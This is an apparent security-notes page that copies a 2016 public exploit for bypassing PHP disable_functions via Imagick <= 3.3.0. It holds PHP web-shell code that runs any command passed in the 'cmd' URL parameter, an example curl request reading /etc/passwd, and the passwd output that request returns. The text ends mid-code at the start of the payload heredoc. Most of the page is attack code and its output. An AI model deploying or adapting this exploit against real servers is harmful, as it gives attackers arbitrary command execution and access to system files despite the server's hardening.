# disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit ## Imagick <= 3.3.0 PHP >= 5.4 Exploit From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) ```php # Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com) # Vendor Homepage: https://pecl.php.net/package/imagick # Version: Imagick <= 3.3.0 PHP >= 5.4 # Test on: Ubuntu 12.04 # Exploit: # # $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" #
# Disable functions: exec,passthru,shell_exec,system,popen # Run command: cat /etc/passwd # ==================== # root:x:0:0:root:/root:/usr/local/bin/fish # daemon:x:1:1:daemon:/usr/sbin:/bin/sh # bin:x:2:2:bin:/bin:/bin/sh # sys:x:3:3:sys:/dev:/bin/sh # sync:x:4:65534:sync:/bin:/bin/sync # games:x:5:60:games:/usr/games:/bin/sh # ... #echo "Disable functions: " . ini_get("disable_functions") . "\n"; $command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo "Run command: $command\n====================\n"; $data_file = tempnam('/tmp', 'img'); $imagick_file = tempnam('/tmp', 'img'); $exploit = <<